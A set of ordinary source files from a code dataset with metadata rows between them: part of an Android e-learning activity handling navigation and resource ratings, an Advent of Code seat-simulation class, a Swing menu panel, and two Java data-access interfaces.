final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lblCourses.setTextColor(ContextCompat.getColor(context,R.color.ole_yellow));
}
public void openMyLibrary() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myLibrary");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myLibrary.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
public void openMyCourses() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myCourses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
@Override
public void onFragmentInteraction(Uri uri) {
}
@Override
public void onFinishPageLoad(Fragment fragToCall, String actionTarget) {
if (actionTarget.equalsIgnoreCase("myLibrary") || actionTarget.equalsIgnoreCase("myCourses") || actionTarget.equalsIgnoreCase("Library") || actionTarget.equalsIgnoreCase("Courses")) {
Bundle args = new Bundle();
args.putString("sys_usercouchId", sys_usercouchId);
fragToCall.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, fragToCall);
transaction.addToBackStack(null);
transaction.commit();
}
}
///// Course
@Override
public void onTakeCourseOpen(String courseId) {
Fragm_TakeCourse fg_TakeCourse = new Fragm_TakeCourse();
Bundle args = new Bundle();
args.putString("sys_usercouchId", sys_usercouchId);
args.putString("courseId", courseId);
fg_TakeCourse.setArguments(args);
FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, fg_TakeCourse);
transaction.addToBackStack(null);
transaction.commit();
///Show as active
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
/* Fragm_TakeCourseTabbed fg_TakeCourse = new Fragm_TakeCourseTabbed();
Bundle args = new Bundle();
args.putString("sys_usercouchId", sys_usercouchId);
args.putString("courseId", courseId);
//fg_TakeCourse.setArguments(args);
FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, fg_TakeCourse);
transaction.addToBackStack(null);
transaction.commit();
///Show as active
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
*/
}
@Override
public void onCourseDownloadCompleted(String CourseId, Object data) {
///alertDialogOkay("Download Completed");
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myCourses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
@Override
public void onCourseDownloadingProgress(String itemTitle, String status, String message) {
}
@Override
public void onResourceDownloadCompleted(String CourseId, Object data) {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myLibrary");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myLibrary.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
@Override
public void onResourceOpened(String resourceId, String resourceTitle) {
openedResource=true;
openedResourceId =resourceId;
openedResourceTitle = resourceTitle;
checkResourceOpened();
}
public void checkResourceOpened() {
if (openedResource) {
rateResourceDialog(openedResourceId, openedResourceTitle);
openedResource = false;
}
}
public void rateResourceDialog(String resourceId, String title) {
// custom dialog
final String resourceID = resourceId;
final Dialog dialog = new Dialog(context);
dialog.setContentView(R.layout.rate_resource_dialog);
dialog.setTitle("Add Feedback For \n");
final TextView txtResTitle = (TextView) dialog.findViewById(R.id.txtResTitle);
txtResTitle.setText(title);
final EditText txtComment = (EditText) dialog.findViewById(R.id.editTextComment);
final RatingBar ratingBar = (RatingBar) dialog.findViewById(R.id.ratingBar);
ratingBar.setOnRatingBarChangeListener(new RatingBar.OnRatingBarChangeListener() {
public void onRatingChanged(RatingBar ratingBar, float rating, boolean fromUser) {
}
});
Button dialogButton = (Button) dialog.findViewById(R.id.btnRateResource);
dialogButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
logHouse.saveRating(getApplicationContext(),(int) ratingBar.getRating(),String.valueOf(txtComment.getText()), resourceID );
//saveRating((int) ratingBar.getRating(), String.valueOf(txtComment.getText()), resourceID);
dialog.dismiss();
}
});
dialog.show();
}
@Override
public void onCourseAdmission(String CourseId) {
///alertDialogOkay("Download Completed");
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myCourses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
public void showRoundMenu(){
Dialog dialogMenu;
AlertDialog.Builder dialogB2 = new AlertDialog.Builder(context,R.style.TransparentDialog);
dialogB2.setView(R.layout.dialog_menu);
dialogB2.setCancelable(false);
Log.d(TAG, "Whats here");
try {
dialogMenu = dialogB2.create();
dialogMenu.show();
final CircleMenuView menu = (CircleMenuView) dialogMenu.findViewById(R.id.circle_menu);
menu.setEventListener(new CircleMenuView.EventListener() {
@Override
public void onMenuOpenAnimationStart(@NonNull CircleMenuView view) {
Log.d("D", "onMenuOpenAnimationStart");
}
@Override
public void onMenuOpenAnimationEnd(@NonNull CircleMenuView view) {
Log.d("D", "onMenuOpenAnimationEnd");
}
@Override
public void onMenuCloseAnimationStart(@NonNull CircleMenuView view) {
Log.d("D", "onMenuCloseAnimationStart");
}
@Override
public void onMenuCloseAnimationEnd(@NonNull CircleMenuView view) {
Log.d("D", "onMenuCloseAnimationEnd");
}
@Override
public void onButtonClickAnimationStart(@NonNull CircleMenuView view, int index) {
Log.d("D", "onButtonClickAnimationStart| index: " + index);
}
@Override
public void onButtonClickAnimationEnd(@NonNull CircleMenuView view, int index) {
Log.d("D", "onButtonClickAnimationEnd| index: " + index);
}
});
//downloadPB.setScaleY(3f);
} catch (Exception err) {
err.printStackTrace();
}
}
/*
public void saveRating(int rate, String comment, String resourceId) {
AndroidContext androidContext = new AndroidContext(context);
Manager manager = null;
Database resourceRating;
int doc_rating;
int doc_timesRated;
ArrayList<String> commentList = new ArrayList<>();
try {
manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
resourceRating = manager.getDatabase("resourcerating");
Document retrievedDocument = resourceRating.getExistingDocument(resourceId);
if (retrievedDocument != null) {
Map<String, Object> properties = retrievedDocument.getProperties();
if (properties.containsKey("sum")) {
doc_rating = (int) properties.get("sum");
doc_timesRated = (int) properties.get("timesRated");
commentList = (ArrayList<String>) properties.get("comments");
commentList.add(comment);
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("sum", (doc_rating + rate));
newProperties.put("timesRated", doc_timesRated + 1);
newProperties.put("comments", commentList);
retrievedDocument.putProperties(newProperties);
updateActivityRatingResources(rate, resourceId);
Toast.makeText(context, String.valueOf(rate), Toast.LENGTH_SHORT).show();
}
} else {
Document newdocument = resourceRating.getDocument(resourceId);
Map<String, Object> newProperties = new HashMap<>();
newProperties.put("sum", rate);
newProperties.put("timesRated", 1);
commentList.add(comment);
newProperties.put("comments", commentList);
newdocument.putProperties(newProperties);
/// todo check updating resource to see it works
updateActivityRatingResources(rate, resourceId);
Toast.makeText(context, String.valueOf(rate), Toast.LENGTH_SHORT).show();
}
} catch (Exception err) {
Log.e("MyCouch", "ERR : " + err.getMessage());
}
}
public boolean updateActivityRatingResources(float rate, String resourceid) {
AndroidContext androidContext = new AndroidContext(this);
Manager manager = null;
Database activityLog;
try {
manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
activityLog = manager.getDatabase("activitylog");
@SuppressLint("WifiManagerLeak") WifiManager wm = (WifiManager) getSystemService(Context.WIFI_SERVICE);
String m_WLANMAC = wm.getConnectionInfo().getMacAddress();
Document retrievedDocument = activityLog.getDocument(m_WLANMAC);
if (retrievedDocument != null) {
Map<String, Object> properties = retrievedDocument.getProperties();
try {
ArrayList female_rating = (ArrayList<String>) properties.get("female_rating");
ArrayList female_timesRated = (ArrayList<String>) properties.get("female_timesRated");
ArrayList male_rating = (ArrayList<String>) properties.get("male_rating");
ArrayList male_timesRated = (ArrayList<String>) properties.get("male_timesRated");
ArrayList resourcesIds = (ArrayList<String>) properties.get("resourcesIds");
Log.e("MyCouch", "Option Rating 1");
if (sys_usergender.toLowerCase().equalsIgnoreCase("female")) {
female_rating.add(rate);
female_timesRated.add(1);
male_rating.add(0);
male_timesRated.add(0);
} else {
female_rating.add(0);
female_timesRated.add(0);
male_rating.add(rate);
male_timesRated.add(1);
}
resourcesIds.add(resourceid);
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("female_rating", female_rating);
newProperties.put("female_timesRated", female_timesRated);
newProperties.put("male_rating", male_rating);
newProperties.put("male_timesRated", male_timesRated);
newProperties.put("resourcesIds", resourcesIds);
retrievedDocument.putProperties(newProperties);
Log.e("MyCouch", "Saved resource rating in local Activity Log ");
return true;
} catch (Exception err) {
Log.e("MyCouch", "Option Rating 1 Failed " + err.getMessage());
try {
Log.e("MyCouch", "Option 2");
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
ArrayList female_rating = new ArrayList<>();
ArrayList female_timesRated = new ArrayList<>();
ArrayList male_rating = new ArrayList<>();
ArrayList male_timesRated = new ArrayList<>();
ArrayList resourcesIds = new ArrayList<>();
if (sys_usergender.toLowerCase().equalsIgnoreCase("female")) {
female_rating.add(rate);
female_timesRated.add(1);
male_rating.add(0);
male_timesRated.add(0);
} else {
female_rating.add(0);
female_timesRated.add(0);
male_rating.add(rate);
male_timesRated.add(1);
}
resourcesIds.add(resourceid);
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("female_rating", female_rating);
newProperties.put("female_timesRated", female_timesRated);
newProperties.put("male_rating", male_rating);
newProperties.put("male_timesRated", male_timesRated);
newProperties.put("resourcesIds", resourcesIds);
retrievedDocument.putProperties(newProperties);
Log.e("MyCouch", "Saved resource rating in local Activity Log ");
return true;
} catch (Exception er) {
Log.e("MyCouch", "Option Rating 2 Failed" + er.getMessage());
return false;
}
}
} else {
try {
Log.e("MyCouch", "Option Rating 1b");
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
ArrayList female_rating = new ArrayList<>();
ArrayList female_timesRated = new ArrayList<>();
ArrayList male_rating = new ArrayList<>();
ArrayList male_timesRated = new ArrayList<>();
ArrayList resourcesIds = new ArrayList<>();
if (sys_usergender.toLowerCase().equalsIgnoreCase("female")) {
female_rating.add(rate);
female_timesRated.add(1);
male_rating.add(0);
male_timesRated.add(0);
} else {
female_rating.add(0);
female_timesRated.add(0);
male_rating.add(rate);
male_timesRated.add(1);
}
resourcesIds.add(resourceid);
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("female_rating", female_rating);
newProperties.put("female_timesRated", female_timesRated);
newProperties.put("male_rating", male_rating);
newProperties.put("male_timesRated", male_timesRated);
newProperties.put("resourcesIds", resourcesIds);
retrievedDocument.putProperties(newProperties);
Log.e("MyCouch", "Saved resource rating in local Activity Log ");
return true;
} catch (Exception err) {
Log.e("MyCouch", "Option Rating 1b Failed : " + err.getMessage());
return false;
}
}
} catch (Exception err) {
Log.e("MyCouch", "Updating Activity Rating Log : " + err.getMessage());
return false;
}
}
*/
}
| 44,518 | 0.598005 | 0.59677 | 1,010 | 43.076237 | 28.101181 | 192 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.807921 | false | false | 1 |
ebc9a6eecc0eb71bee3d213bb144cbcd0aecb73f | 15,917,148,862,485 | b70ef58c78a3867089d627b4eafed99647048998 | /Java/src/main/java/annees/annee2020/jour11/Annee2020Jour11Exercice1.java | b3d8e9a7f7ec887a3ed9f9eb33a14492ec40f18c | []
| no_license | Landalvic/advent-of-code | https://github.com/Landalvic/advent-of-code | 310cf9ffa705535f9a9ee0573670710ac0da84d4 | c6611c4dc5d72364da16923d2efcc23e306ef1cf | refs/heads/master | 2021-12-31T20:25:16.909000 | 2021-12-19T15:11:55 | 2021-12-19T15:11:55 | 162,293,267 | 0 | 0 | null | false | 2021-12-01T17:58:36 | 2018-12-18T13:34:36 | 2021-12-01T17:57:28 | 2021-12-01T17:58:36 | 1,494 | 0 | 0 | 3 | Java | false | false | package annees.annee2020.jour11;
public class Annee2020Jour11Exercice1 extends Annee2020Jour11 {
public static void main(String[] args) {
new Annee2020Jour11Exercice1().lancer(true);
}
public Annee2020Jour11Exercice1() {
super(1);
}
@Override
protected void gererSiege(Siege siege) {
var adj = siege.getCasesAdjacentesDiag();
var testAll = true;
int occupe = 0;
for (Siege siegeA : adj) {
if (siegeA.getOccupe() != null && siegeA.getOccupe().booleanValue()) {
testAll = false;
occupe++;
}
}
if (testAll) {
siege.setFuturePlace(true);
} else if (occupe >= 4) {
siege.setFuturePlace(false);
} else {
siege.setFuturePlace(null);
}
}
}
| UTF-8 | Java | 689 | java | Annee2020Jour11Exercice1.java | Java | []
| null | []
| package annees.annee2020.jour11;
public class Annee2020Jour11Exercice1 extends Annee2020Jour11 {
public static void main(String[] args) {
new Annee2020Jour11Exercice1().lancer(true);
}
public Annee2020Jour11Exercice1() {
super(1);
}
@Override
protected void gererSiege(Siege siege) {
var adj = siege.getCasesAdjacentesDiag();
var testAll = true;
int occupe = 0;
for (Siege siegeA : adj) {
if (siegeA.getOccupe() != null && siegeA.getOccupe().booleanValue()) {
testAll = false;
occupe++;
}
}
if (testAll) {
siege.setFuturePlace(true);
} else if (occupe >= 4) {
siege.setFuturePlace(false);
} else {
siege.setFuturePlace(null);
}
}
}
| 689 | 0.674891 | 0.622642 | 33 | 19.878788 | 19.14974 | 73 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.909091 | false | false | 1 |
5f08b965acb245b697911760e8df2367a2755321 | 489,626,320,683 | 4f90dacdd111ee04f158de7047eeda465ad7c04e | /src/main/java/LifeSimulation/MenuPanel.java | 00cef915fe576a5d501a88c50fb7a10a32c8e827 | []
| no_license | RadoslawCzubak/LifeSimulatorProject | https://github.com/RadoslawCzubak/LifeSimulatorProject | 7555c0651f6591c865317b8c058ffea86677593e | 5f87bf7c33893d0dbd1149d5068d8e4fbb063c65 | refs/heads/master | 2020-09-08T07:41:51.763000 | 2019-11-11T20:26:50 | 2019-11-11T20:26:50 | 221,064,786 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package LifeSimulation;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.SwingConstants;
/**
*
* Klasa odpowiadająca za wyświetlenie zawartości w oknie menu.
* Tytuł aplikacji,
* Przycisk "New Simulation",
* Przycisk "Settings",
* Przycisk "Exit",
*
* @author Radosław Czubak
* @version 1.0.0
*/
public class MenuPanel extends JPanel {
/**
*
*/
private static final long serialVersionUID = 1L;
private MenuPanelListener listener;
private SettingsListener settingsListener;
private JLabel lblSimulation;
private JButton btnNewSimulation;
private JButton btnExit;
private JButton btnSettings;
private JLabel lblRadosawCzubak;
/**
* Create the panel.
*/
public MenuPanel() {
setBackground(new Color(0, 0, 0));
GridBagLayout gridBagLayout = new GridBagLayout();
gridBagLayout.columnWidths = new int[]{741};
gridBagLayout.columnWeights = new double[]{0.0};
gridBagLayout.rowWeights = new double[]{0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
setLayout(gridBagLayout);
lblSimulation = new JLabel("SimpleLifeSimulation");
lblSimulation.setForeground(new Color(245, 255, 250));
lblSimulation.setFont(new Font("Candara", Font.PLAIN, 42));
lblSimulation.setHorizontalAlignment(SwingConstants.CENTER);
GridBagConstraints gbc_lblSimulation = new GridBagConstraints();
gbc_lblSimulation.weighty = 1.0;
gbc_lblSimulation.fill = GridBagConstraints.VERTICAL;
gbc_lblSimulation.insets = new Insets(0, 0, 5, 0);
gbc_lblSimulation.gridx = 0;
gbc_lblSimulation.gridy = 1;
add(lblSimulation, gbc_lblSimulation);
btnNewSimulation = new JButton("New Simulation");
btnNewSimulation.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
changeView();
}
});
btnNewSimulation.setFont(new Font("Tahoma", Font.PLAIN, 25));
btnNewSimulation.setPreferredSize(new Dimension(250,80));
GridBagConstraints gbc_btnNewSimulation = new GridBagConstraints();
gbc_btnNewSimulation.insets = new Insets(0, 0, 5, 0);
gbc_btnNewSimulation.gridx = 0;
gbc_btnNewSimulation.gridy = 3;
add(btnNewSimulation, gbc_btnNewSimulation);
btnExit = new JButton("Exit");
btnExit.addActionListener(new ActionListener()
{
@Override
public void actionPerformed(ActionEvent e) {
System.exit(0);
}
});
btnSettings = new JButton("Settings");
btnSettings.addActionListener(new ActionListener()
{
@Override
public void actionPerformed(ActionEvent e) {
openSettings();
}
});
btnSettings.setFont(new Font("Tahoma", Font.PLAIN, 17));
btnSettings.setPreferredSize(new Dimension(150,50));
GridBagConstraints gbc_btnSettings = new GridBagConstraints();
gbc_btnSettings.weighty = 0.2;
gbc_btnSettings.weightx = 0.2;
gbc_btnSettings.insets = new Insets(0, 0, 5, 0);
gbc_btnSettings.gridx = 0;
gbc_btnSettings.gridy = 5;
add(btnSettings, gbc_btnSettings);
GridBagConstraints gbc_btnExit = new GridBagConstraints();
gbc_btnExit.weighty = 0.5;
gbc_btnExit.insets = new Insets(0, 0, 5, 0);
gbc_btnExit.gridx = 0;
gbc_btnExit.gridy = 6;
add(btnExit, gbc_btnExit);
lblRadosawCzubak = new JLabel("Rados\u0142aw Czubak 2019");
lblRadosawCzubak.setForeground(new Color(255, 255, 255));
lblRadosawCzubak.setFont(new Font("Tahoma", Font.PLAIN, 17));
GridBagConstraints gbc_lblRadosawCzubak = new GridBagConstraints();
gbc_lblRadosawCzubak.anchor = GridBagConstraints.WEST;
gbc_lblRadosawCzubak.fill = GridBagConstraints.VERTICAL;
gbc_lblRadosawCzubak.gridx = 0;
gbc_lblRadosawCzubak.gridy = 8;
add(lblRadosawCzubak, gbc_lblRadosawCzubak);
}
public void setListener(MenuPanelListener listener)
{
this.listener=listener;
}
public void setSettingsListener(SettingsListener listener)
{
this.settingsListener=listener;
}
public void openSettings()
{
if(listener!=null)
settingsListener.openSettings();
}
public void changeView()
{
if(listener!=null)
listener.changeView();
}
}
| WINDOWS-1250 | Java | 4,467 | java | MenuPanel.java | Java | [
{
"context": "ttings\", \r\n * Przycisk \"Exit\", \r\n * \r\n * @author Radosław Czubak\r\n * @version 1.0.0\r\n */\r\npublic class MenuPanel e",
"end": 606,
"score": 0.9998621940612793,
"start": 591,
"tag": "NAME",
"value": "Radosław Czubak"
}
]
| null | []
| package LifeSimulation;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.SwingConstants;
/**
*
* Klasa odpowiadająca za wyświetlenie zawartości w oknie menu.
* Tytuł aplikacji,
* Przycisk "New Simulation",
* Przycisk "Settings",
* Przycisk "Exit",
*
* @author <NAME>
* @version 1.0.0
*/
public class MenuPanel extends JPanel {
/**
*
*/
private static final long serialVersionUID = 1L;
private MenuPanelListener listener;
private SettingsListener settingsListener;
private JLabel lblSimulation;
private JButton btnNewSimulation;
private JButton btnExit;
private JButton btnSettings;
private JLabel lblRadosawCzubak;
/**
* Create the panel.
*/
public MenuPanel() {
setBackground(new Color(0, 0, 0));
GridBagLayout gridBagLayout = new GridBagLayout();
gridBagLayout.columnWidths = new int[]{741};
gridBagLayout.columnWeights = new double[]{0.0};
gridBagLayout.rowWeights = new double[]{0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
setLayout(gridBagLayout);
lblSimulation = new JLabel("SimpleLifeSimulation");
lblSimulation.setForeground(new Color(245, 255, 250));
lblSimulation.setFont(new Font("Candara", Font.PLAIN, 42));
lblSimulation.setHorizontalAlignment(SwingConstants.CENTER);
GridBagConstraints gbc_lblSimulation = new GridBagConstraints();
gbc_lblSimulation.weighty = 1.0;
gbc_lblSimulation.fill = GridBagConstraints.VERTICAL;
gbc_lblSimulation.insets = new Insets(0, 0, 5, 0);
gbc_lblSimulation.gridx = 0;
gbc_lblSimulation.gridy = 1;
add(lblSimulation, gbc_lblSimulation);
btnNewSimulation = new JButton("New Simulation");
btnNewSimulation.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
changeView();
}
});
btnNewSimulation.setFont(new Font("Tahoma", Font.PLAIN, 25));
btnNewSimulation.setPreferredSize(new Dimension(250,80));
GridBagConstraints gbc_btnNewSimulation = new GridBagConstraints();
gbc_btnNewSimulation.insets = new Insets(0, 0, 5, 0);
gbc_btnNewSimulation.gridx = 0;
gbc_btnNewSimulation.gridy = 3;
add(btnNewSimulation, gbc_btnNewSimulation);
btnExit = new JButton("Exit");
btnExit.addActionListener(new ActionListener()
{
@Override
public void actionPerformed(ActionEvent e) {
System.exit(0);
}
});
btnSettings = new JButton("Settings");
btnSettings.addActionListener(new ActionListener()
{
@Override
public void actionPerformed(ActionEvent e) {
openSettings();
}
});
btnSettings.setFont(new Font("Tahoma", Font.PLAIN, 17));
btnSettings.setPreferredSize(new Dimension(150,50));
GridBagConstraints gbc_btnSettings = new GridBagConstraints();
gbc_btnSettings.weighty = 0.2;
gbc_btnSettings.weightx = 0.2;
gbc_btnSettings.insets = new Insets(0, 0, 5, 0);
gbc_btnSettings.gridx = 0;
gbc_btnSettings.gridy = 5;
add(btnSettings, gbc_btnSettings);
GridBagConstraints gbc_btnExit = new GridBagConstraints();
gbc_btnExit.weighty = 0.5;
gbc_btnExit.insets = new Insets(0, 0, 5, 0);
gbc_btnExit.gridx = 0;
gbc_btnExit.gridy = 6;
add(btnExit, gbc_btnExit);
lblRadosawCzubak = new JLabel("Rados\u0142aw Czubak 2019");
lblRadosawCzubak.setForeground(new Color(255, 255, 255));
lblRadosawCzubak.setFont(new Font("Tahoma", Font.PLAIN, 17));
GridBagConstraints gbc_lblRadosawCzubak = new GridBagConstraints();
gbc_lblRadosawCzubak.anchor = GridBagConstraints.WEST;
gbc_lblRadosawCzubak.fill = GridBagConstraints.VERTICAL;
gbc_lblRadosawCzubak.gridx = 0;
gbc_lblRadosawCzubak.gridy = 8;
add(lblRadosawCzubak, gbc_lblRadosawCzubak);
}
public void setListener(MenuPanelListener listener)
{
this.listener=listener;
}
public void setSettingsListener(SettingsListener listener)
{
this.settingsListener=listener;
}
public void openSettings()
{
if(listener!=null)
settingsListener.openSettings();
}
public void changeView()
{
if(listener!=null)
listener.changeView();
}
}
| 4,457 | 0.704841 | 0.680412 | 153 | 27.163399 | 21.326733 | 87 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.411765 | false | false | 1 |
a9f6bb5a532bc225c515f92b40084a14b92710b1 | 29,635,274,392,584 | d38900c06a75e6c71b51f4290809763218626411 | /.svn/pristine/a9/a9f6bb5a532bc225c515f92b40084a14b92710b1.svn-base | b2fcc81186dd920f0741c9de32f88f9c99755001 | []
| no_license | XClouded/avp | https://github.com/XClouded/avp | ef5d0df5fd06d67793f93539e6421c5c8cef06c5 | 4a41681376cd3e1ec7f814dcd1f178d89e94f3d6 | refs/heads/master | 2017-02-26T23:03:31.245000 | 2014-07-22T19:03:40 | 2014-07-22T19:03:40 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
**********************************************************************
* Class: AccountStatusStore
*
* This code and its derivatives belong to Laverock von Schoultz and
* may not be copied,reproduced, amended or used in any way without
* the permission of Laverock von Schoultz
**********************************************************************
* Configuration Information
* =========================
*
* Filename: RCSfile:
**********************************************************************
* Current Version
* ===============
* ID: Id:
*
* Revision: Revision:
* Date/time: Date:
* Status: State:
**********************************************************************
*/
package com.lvsint.abp.server.stores;
import java.util.List;
import uk.co.abp.AccountStatus;
import uk.co.abp.NotAuthorizedException;
import uk.co.abp.SessionException;
import uk.co.abp.ValidationException;
import uk.co.abp.Workspace;
/**
* <p>
* Title: ABP Admin classes
* </p>
* <p>
* Description: manages the AccountStatus table in ABP
* </p>
* <p>
* Copyright: Copyright (c) 2003
* </p>
* <p>
* Company: LVS
* </p>
*
* @author Adrian Bigland
* @version $Revision: 1.1.1.1 $
*/
public interface AccountStatusStore extends Store<AccountStatus> {
public AccountStatus create(Workspace workspace);
public AccountStatus read(Workspace workspace, long id) throws SessionException;
public AccountStatus update(Workspace workspace, AccountStatus accountStatus) throws SessionException,
NotAuthorizedException, ValidationException;
public void delete(Workspace workspace, AccountStatus accountStatus);
public List<AccountStatus> searchAllAccountStatuses(Workspace workspace) throws SessionException;
} | UTF-8 | Java | 1,757 | a9f6bb5a532bc225c515f92b40084a14b92710b1.svn-base | Java | [
{
"context": "</p>\n * <p>\n * Company: LVS\n * </p>\n * \n * @author Adrian Bigland\n * @version $Revision: 1.1.1.1 $\n */\npublic inter",
"end": 1167,
"score": 0.9998445510864258,
"start": 1153,
"tag": "NAME",
"value": "Adrian Bigland"
}
]
| null | []
| /*
**********************************************************************
* Class: AccountStatusStore
*
* This code and its derivatives belong to Laverock von Schoultz and
* may not be copied,reproduced, amended or used in any way without
* the permission of Laverock von Schoultz
**********************************************************************
* Configuration Information
* =========================
*
* Filename: RCSfile:
**********************************************************************
* Current Version
* ===============
* ID: Id:
*
* Revision: Revision:
* Date/time: Date:
* Status: State:
**********************************************************************
*/
package com.lvsint.abp.server.stores;
import java.util.List;
import uk.co.abp.AccountStatus;
import uk.co.abp.NotAuthorizedException;
import uk.co.abp.SessionException;
import uk.co.abp.ValidationException;
import uk.co.abp.Workspace;
/**
* <p>
* Title: ABP Admin classes
* </p>
* <p>
* Description: manages the AccountStatus table in ABP
* </p>
* <p>
* Copyright: Copyright (c) 2003
* </p>
* <p>
* Company: LVS
* </p>
*
* @author <NAME>
* @version $Revision: 1.1.1.1 $
*/
public interface AccountStatusStore extends Store<AccountStatus> {
public AccountStatus create(Workspace workspace);
public AccountStatus read(Workspace workspace, long id) throws SessionException;
public AccountStatus update(Workspace workspace, AccountStatus accountStatus) throws SessionException,
NotAuthorizedException, ValidationException;
public void delete(Workspace workspace, AccountStatus accountStatus);
public List<AccountStatus> searchAllAccountStatuses(Workspace workspace) throws SessionException;
} | 1,749 | 0.594764 | 0.590211 | 62 | 27.354839 | 27.851622 | 106 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.387097 | false | false | 1 |
|
1bbcf6318404cb4b5231cd8a55d6cf518e91fa46 | 29,635,274,389,966 | aea5752421c8a62c02ffd51961e4dfb8528bbcdb | /esys/src/main/java/com/lhm/esys/dao/IRoleDao.java | b4c453ed9e479063ffbdd35c96e8155c98dba3cd | []
| no_license | lihaiming1995/lhm | https://github.com/lihaiming1995/lhm | e28633c96a5b665450417cf4d5fa39a5a943ad6d | 93e38f6335ac84ca7a95c2438df551bb7aafc27a | refs/heads/master | 2021-01-25T14:15:43.828000 | 2018-12-20T02:50:22 | 2018-12-20T02:50:22 | 123,671,351 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /**
*
*/
package com.qfedu.esys.dao;
import java.util.List;
import com.qfedu.esys.entity.Role;
/**
* @author cailei
*
*/
public interface IRoleDao {
List<Role> findAll();
void create(Role role);
Role findRoleById(String id);
void delete(Role role);
void update(Role role);
}
| UTF-8 | Java | 326 | java | IRoleDao.java | Java | [
{
"context": "ort com.qfedu.esys.entity.Role;\r\n\r\n/**\r\n * @author cailei\r\n *\r\n */\r\npublic interface IRoleDao {\r\n\t\r\n\tList<R",
"end": 132,
"score": 0.9981067776679993,
"start": 126,
"tag": "USERNAME",
"value": "cailei"
}
]
| null | []
| /**
*
*/
package com.qfedu.esys.dao;
import java.util.List;
import com.qfedu.esys.entity.Role;
/**
* @author cailei
*
*/
public interface IRoleDao {
List<Role> findAll();
void create(Role role);
Role findRoleById(String id);
void delete(Role role);
void update(Role role);
}
| 326 | 0.601227 | 0.601227 | 26 | 10.538462 | 11.87509 | 34 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.692308 | false | false | 1 |
188079040fe39caf2eb4e965dcddd43fc508aa7e | 28,819,230,589,535 | fd386a122910df4e383f9116ad24950cb0fd92b3 | /Final Project 2015/Sameat/src/java/sameat/util/Validation.java | 8304b6c46e2b4fcd5b92c6e6c77d7b00251ebff0 | []
